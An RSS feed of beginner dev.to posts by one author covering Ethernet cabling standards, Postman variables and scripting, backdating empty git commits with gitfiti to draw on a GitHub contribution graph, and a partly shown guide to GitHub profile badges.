<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mudacumura Brunoblaise </title>
    <description>The latest articles on DEV Community by Mudacumura Brunoblaise  (@brunoblaise).</description>
    <link>https://dev.to/brunoblaise</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F672869%2Fccb9c21c-95d9-4f9d-8b19-2036badb384f.jpeg</url>
      <title>DEV Community: Mudacumura Brunoblaise </title>
      <link>https://dev.to/brunoblaise</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/brunoblaise"/>
    <language>en</language>
    <item>
      <title>Introduction to ethernet cabling</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 17 Feb 2024 20:56:00 +0000</pubDate>
      <link>https://dev.to/brunoblaise/introduction-to-ethernet-cabling-530j</link>
      <guid>https://dev.to/brunoblaise/introduction-to-ethernet-cabling-530j</guid>
      <description>&lt;h1&gt;
  
  
  What we will cover in this article:
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Summary of Ethernet standards&lt;/li&gt;
&lt;li&gt;Summary copper cabling types.&lt;/li&gt;
&lt;li&gt;Summary fiber optic cabling types.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  What's an Ethernet standard
&lt;/h1&gt;

&lt;p&gt;Ethernet standards ensure that network cabling will meet the bandwidth requirements of applications. &lt;/p&gt;

&lt;p&gt;The standards specify the bit rate that should be achieved over different media types up to the supported distance limitations. These Ethernet media specifications are named using a three-part convention, which is often referred to as xBASE-y&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F42mdbjvkta31q8smfz7r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F42mdbjvkta31q8smfz7r.png" alt="Image description" width="800" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The signal mode (baseband or broadband). All mainstream types of Ethernet use baseband transmissions, so you will only see specifications of the form xBASE-y.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;For example, 10BASE-T denotes an early implementation that works at 10 Mbps (10), uses a baseband signal (BASE), and runs over twisted pair copper cabling (-T)&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  CAT CABLE STANDARDS
&lt;/h2&gt;

&lt;p&gt;The American National Standards Institute (ANSI) and the Telecommunications Industry Association (TIA)/Electronic Industries Alliance (EIA) have created categories of cable standards for twisted pairs to simplify the selection of a suitable quality cable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa05eamfa2dxkiayu39bp.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa05eamfa2dxkiayu39bp.jpeg" alt="Image description" width="564" height="645"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Cat 5 cable is no longer available. Cat 5e is tested at frequencies up to 100 MHz (like Cat 5 was) but to higher overall specifications for attenuation and crosstalk, meaning that the cable is rated to handle Gigabit Ethernet throughput. Cat 5e would still be an acceptable choice for providing network links for workstations.&lt;/p&gt;

&lt;p&gt;Cat 8 is intended for use in data centers only for short patch cable runs that make top-of-rack connections between adjacent appliances. ISO defines two variants; 8.1 (Class I) is equivalent to TIA/EIA Cat 8 and uses RJ-45 connectors while 8.2 (Class II) must use outer shielding or screening and GG-45 or TERA connectors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Copper Cable
&lt;/h2&gt;

&lt;p&gt;Copper cable is used to transmit electrical signals. The cable between two nodes creates a low-voltage electrical circuit between the interfaces on the nodes. There are two main types of copper cable: twisted pair and coaxial (coax)&lt;/p&gt;

&lt;p&gt;Twisted pair is a type of copper cable that has been extensively used for telephone systems and data networks.&lt;/p&gt;

&lt;p&gt;There are two types of twisted pairs which are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shield Twisted pair(STP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Shielded cable is less susceptible to interference and crosstalk. This type of cable is required for some Ethernet standards and may also be a requirement in environments with high levels of interference.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unshielded Twisted pair(UTP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most twisted pair cable used in office networks is unshielded twisted pair (UTP). Modern buildings are often flood-wired using UTP cabling. This involves cables being laid to every location in the building that may need to support a telephone or computer.&lt;/p&gt;

&lt;h2&gt;
  
  
  TWISTED PAIR CONNECTOR TYPES
&lt;/h2&gt;

&lt;p&gt;Twisted pair copper cabling uses Registered Jack (RJ) connectors for the physical interface. There are many different types of RJ connector&lt;/p&gt;

&lt;p&gt;RJ-45 connectors are used with 4-pair (8-wire) cables. The connectors are also referred to as 8P8C, standing for 8-position/8-contact. &lt;/p&gt;

&lt;p&gt;RJ-11 Connectors&lt;br&gt;
The smaller RJ-11 connectors are used with 2- or 3-pair UTP. &lt;/p&gt;

&lt;h2&gt;
  
  
  COPPER TERMINATION STANDARDS
&lt;/h2&gt;

&lt;p&gt;The ANSI/TIA/EIA 568 standard defines two methods for terminating Ethernet connectors: T568A and T568B.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo1nc0g6pv0w9jwy5p0x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo1nc0g6pv0w9jwy5p0x.png" alt="Image description" width="800" height="284"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Fiber Optic Cable
&lt;/h2&gt;

&lt;p&gt;Fiber optic cable carries very high-frequency radiation in the infrared light part of the electromagnetic spectrum. The light signals are also not susceptible to interference or noise from other sources and are less affected by attenuation. Fiber optic cabling is divided into Single Mode (SMF) and MultiMode (MMF)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Single Mode Fiber (SMF) has a small core (8 to 10 microns) and a long wavelength, near-infrared (1310 nm or 1550 nm) light signal, generated by a laser. Single-mode cables support data rates up to 100 Gbps and cable runs of many kilometers, depending on the quality of the cable and optics. There are two grades of SMF cable; OS1 is designed for indoor use, while OS2 is for outdoor deployment.&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;Multimode Fiber (MMF) has a larger core (62.5 or 50 microns) and shorter wavelength light (850 nm or 1300 nm) transmitted in multiple waves of varying lengths. MMF uses less expensive optics and consequently is less expensive to deploy than SMF. However, it does not support such high signaling speeds or long distances as single mode and so is more suitable for LANs than WANs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://learn.comptia.org/"&gt;CompTIA Learning network plus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;

&lt;p&gt;Massive credit goes to compTia Learning Center for the high-quality image, information, and inspiration to make this article.&lt;/p&gt;

</description>
      <category>networking</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>learning</category>
    </item>
    <item>
      <title>2 neat Postman tricks you should know.</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 13 Jan 2024 22:01:36 +0000</pubDate>
      <link>https://dev.to/brunoblaise/2-neat-postman-tricks-you-should-know-453o</link>
      <guid>https://dev.to/brunoblaise/2-neat-postman-tricks-you-should-know-453o</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;br&gt;
 We use postman every day and if not, you should consider using it, postman is one of the most powerful tools that developers use to test their Apis but most of them don't use its full potential. In this article we are going to go over 2 tricks that could save your time. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is all beginner friendly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let's get started! 🤞&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We will walk ourselves from easy to hard.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Generating code
&lt;/h2&gt;

&lt;p&gt;Postman can help you integrate API calls into your applications by &lt;a href="https://learning.postman.com/docs/sending-requests/generate-code-snippets/"&gt;generating code snippets&lt;/a&gt; in various coding languages.&lt;/p&gt;
&lt;h3&gt;
  
  
  let's see an example
&lt;/h3&gt;

&lt;p&gt;Every request you make in postman, has a generation tab where you can generate code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_Motv3bU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/56g15k6dawb25ettqgot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_Motv3bU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/56g15k6dawb25ettqgot.png" alt="Image description" width="492" height="640"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you open code generation tab you can choose language of your choice&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--62EKyJts--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8kbazcs8fqo0013fdv7m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--62EKyJts--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8kbazcs8fqo0013fdv7m.png" alt="Image description" width="800" height="1278"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Introduction to variables and scripting
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Postman allows you to save values as variables so that you can:
&lt;/h3&gt;

&lt;p&gt;Reuse values to keep your work DRY (Don’t Repeat Yourself)&lt;br&gt;
Hide sensitive values like API keys from being shared publicly&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VGdS_ivP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://assets.postman.com/postman-docs/v10/var-scope-v10.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VGdS_ivP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://assets.postman.com/postman-docs/v10/var-scope-v10.jpg" alt="image description" width="791" height="582"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The GIF below shows how to create a variable locally in your collection.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JEkJXFYh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://everpath-course-content.s3-accelerate.amazonaws.com/instructor%252F4qlhnpfiaeqby6zwhuhhmacvx%252Fpublic%252F1694437918%252Fsetting%2Bbase%2Burl.1694437917654.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JEkJXFYh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://everpath-course-content.s3-accelerate.amazonaws.com/instructor%252F4qlhnpfiaeqby6zwhuhhmacvx%252Fpublic%252F1694437918%252Fsetting%2Bbase%2Burl.1694437917654.gif" alt="variable creation" width="800" height="262"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Now how do we set in programmatically?
&lt;/h3&gt;

&lt;p&gt;Postman allows you to add automation and dynamic behaviors to your collections with &lt;a href="https://learning.postman.com/docs/writing-scripts/intro-to-scripts/"&gt;scripting&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Postman will automatically execute any provided scripts during two events in the request flow:&lt;/p&gt;

&lt;p&gt;Immediately before a request is sent: &lt;a href="https://learning.postman.com/docs/writing-scripts/pre-request-scripts/"&gt;pre-request&lt;/a&gt; script (Pre-request Script tab of request).&lt;br&gt;
Immediately after a response comes back: &lt;a href="https://learning.postman.com/docs/writing-scripts/test-scripts/"&gt;test script&lt;/a&gt; (Tests tab of request).&lt;/p&gt;
&lt;h2&gt;
  
  
  The &lt;code&gt;pm&lt;/code&gt; object
&lt;/h2&gt;

&lt;p&gt;Postman has a helper object named pm that gives you access to data about your Postman environment, requests, responses, variables and testing utilities. &lt;/p&gt;
&lt;h3&gt;
  
  
  let's see an example
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--751DumSU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j1yqk5k3ogpcjj540fl3.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--751DumSU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j1yqk5k3ogpcjj540fl3.jpeg" alt="Image description" width="800" height="242"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For example, you can access the JSON response body from an API with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also programmatically get collection variables like the value of baseUrl with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collectionVariables&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;“&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="err"&gt;”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In addition to getting variables, you can also set them with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collectionVariables&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;variableName&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;variableValue&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;pm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collectionVariables&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;“&lt;/span&gt;&lt;span class="nx"&gt;myVar&lt;/span&gt;&lt;span class="err"&gt;”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;“&lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="err"&gt;”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--shjibWAv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://everpath-course-content.s3-accelerate.amazonaws.com/instructor%252F4qlhnpfiaeqby6zwhuhhmacvx%252Fpublic%252F1694637148%252FScreen%2BRecording%2B2023-09-14%2Bat%2B2.00.14%2BAM.1694637147685.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--shjibWAv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://everpath-course-content.s3-accelerate.amazonaws.com/instructor%252F4qlhnpfiaeqby6zwhuhhmacvx%252Fpublic%252F1694637148%252FScreen%2BRecording%2B2023-09-14%2Bat%2B2.00.14%2BAM.1694637147685.gif" alt="alt text" width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and that is all I know I should have gone deep but my goal wasn't to go deep, and I have provided links for someone who wants to go advanced in &lt;strong&gt;testing&lt;/strong&gt; &lt;/p&gt;

&lt;h1&gt;
  
  
  Credits
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Massive credit goes to @postmanacademy for the high-quality images, information and the inspiration to make this article.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks 😎 for reading if you find this interesting leave a follow and make sure to Follow me on GitHub &lt;a href="https://github.com/brunoblaise"&gt;@brunoblaise&lt;/a&gt;❤&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>tutorial</category>
      <category>postman</category>
      <category>api</category>
    </item>
    <item>
      <title>How to hack GitHub contribution graph</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Mon, 01 Jan 2024 00:20:22 +0000</pubDate>
      <link>https://dev.to/brunoblaise/how-to-hack-github-contribution-graph-255g</link>
      <guid>https://dev.to/brunoblaise/how-to-hack-github-contribution-graph-255g</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Y-Z8LldR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o1qut1m9n2f2ht22bifm.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Y-Z8LldR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o1qut1m9n2f2ht22bifm.jpeg" alt="Image description" width="750" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Happy new year everyone 🎉✨, this will be my first article in this year so recently I was playing with &lt;a href="https://github.com/gelstudios/gitfiti"&gt;gitfiti&lt;/a&gt; people who aren't familiar with it let us just say it is a cool tool used to draw a shape on your GitHub contribution graph but There is something wrong with it. Take this with a grainy of salt this is not absolute and I haven't tested it deeply the authors know better.&lt;/p&gt;

&lt;p&gt;Basically the tool has a scale of 0-4 and as the value increase so as the color becomes more darker. They have different functions that work together to generate fake commit messages simply an image is converted into ASCII characters and put into array of other seven arrays &lt;a href="https://www.youtube.com/watch?v=_ZQSPYDlk3U"&gt;Jack Herrington, has a great a video how those arrays are arranged in that way&lt;/a&gt; and are used to create fake commit message with different dates according to the ASCII characters to create that shape; here is an example: 👇&lt;/p&gt;

&lt;h1&gt;
  
  
  The problem part
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GIT_AUTHOR_DATE=2023-04-14T12:00:00 GIT_COMMITTER_DATE=2023-04-14T12:00:00 git commit --allow-empty -m "gitfiti" 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can you see the problem if not here is the problem&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GIT_AUTHOR_DATE&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;and  &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;GIT_COMMITTER_DATE &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;are given previous year and month this introduces a bug  in the program because one has to wait for day or two to see changes if any 🤔&lt;/p&gt;

&lt;h1&gt;
  
  
  The solution part
&lt;/h1&gt;

&lt;p&gt;The solution is simple than you think they only thing to do is to  target future year especially at the start of the year and this is how I have done it, let me show you my screenshots I just made like right now to prove this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_c3AC7G3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/64vprdzco3pxwftsqrvk.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_c3AC7G3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/64vprdzco3pxwftsqrvk.jpeg" alt="Image description" width="562" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Vzhn_XoB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hbrbhp6ixkggesoa91v5.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Vzhn_XoB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hbrbhp6ixkggesoa91v5.jpeg" alt="Image description" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;so what I did was just change the year and boom that was it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GIT_AUTHOR_DATE=2024-04-14T12:00:00 GIT_COMMITTER_DATE=2024-04-14T12:00:00 git commit --allow-empty -m "gitfiti" 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I am making a PR like right now to fix this bug but wait now there is a new issue, does it mean that we have to wait at the end of the year to see these results. Honestly I don't know may be; some of you guys can figure it out.&lt;/p&gt;

&lt;p&gt;Thanks 😎 for reading if you find this interesting leave a follow and make sure to follow me on &lt;a href="https://github.com/brunoblaise"&gt;GitHub&lt;/a&gt;, Take this as my personal view and my experience using the program this may vary.&lt;/p&gt;

</description>
      <category>python</category>
      <category>github</category>
      <category>git</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How to add achievements on your GitHub profile</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sun, 31 Dec 2023 18:01:49 +0000</pubDate>
      <link>https://dev.to/brunoblaise/how-to-add-achievements-on-your-github-profile-48oj</link>
      <guid>https://dev.to/brunoblaise/how-to-add-achievements-on-your-github-profile-48oj</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--E82xkCEI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5bdqqar398qki5dyd721.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--E82xkCEI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5bdqqar398qki5dyd721.jpeg" alt="Image description" width="750" height="1000"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  GitHub Profile Achievements 🏆
&lt;/h1&gt;

&lt;p&gt;This is my last article in 2023 inspired by two people shout out to &lt;a class="mentioned-user" href="https://dev.to/schweinepriester"&gt;@schweinepriester&lt;/a&gt; and @Thinkright20 so the massive credit goes to them. These include format of the tables, information about each budge, images for each badge and labels.&lt;/p&gt;

&lt;p&gt;The purpose of this article is to show you how to collect every single badge on GitHub, some of them are obtainable, others are not obtainable, and some are in beta testing. &lt;/p&gt;

&lt;p&gt;I hope you enjoy 😊😊&lt;/p&gt;

&lt;p&gt;GitHub badge section was introduced after the launch of the first Mars Helicopter &lt;a href="https://en.wikipedia.org/wiki/Ingenuity_(helicopter)"&gt;Ingenuity&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We are also using this opportunity to introduce a new Achievements section to the GitHub profile. Right now, Achievements include the Mars 2020 Helicopter Mission badge, the Arctic Code Vault badge, and a badge for sponsoring open-source work via GitHub Sponsors.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Today we have around 11 badges on GitHub, and some have different tiers or let's just say levels, so we will start looking at unobtainable badges, Beta badges and obtainable badges where we will divide them into different categories from &lt;code&gt;Very easy&lt;/code&gt; - &lt;code&gt;Easy&lt;/code&gt; - &lt;code&gt;Medium&lt;/code&gt; - and finally &lt;code&gt;Hard&lt;/code&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Unobtainable Badges
&lt;/h1&gt;

&lt;p&gt;They used to be obtainable but now are not.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Badge Image&lt;/th&gt;
&lt;th&gt;Earnable?&lt;/th&gt;
&lt;th&gt;Earned By&lt;/th&gt;
&lt;th&gt;Difficulty&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Arctic Code Vault Contributor&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uTmFl2F3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/arctic-code-vault-contributor-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;❌ No&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Previously obtainable by contributing code to repositories in the &lt;a href="https://archiveprogram.github.com/"&gt;2020 Archive Program&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;Very Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mars 2020 Contributor&lt;/td&gt;
&lt;td&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5j0W_2Kv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://raw.githubusercontent.com/Schweinepriester/github-profile-achievements/main/images/mars-2020-contributor-default.png" width="296" height="296"&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;❌ No&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Given if a user contributed code to repositories in the &lt;a href="https://github.com/readme/nasa-ingenuity-helicopter"&gt;Mars 2020 Mission&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h1&gt;
  
  
  Beta badges
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Badge Image&lt;/th&gt;
&lt;th&gt;Earnable?&lt;/th&gt;
&lt;th&gt;Earned By&lt;/th&gt;
&lt;th&gt;Difficulty&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Heart On Your Sleeve&lt;/td&gt;
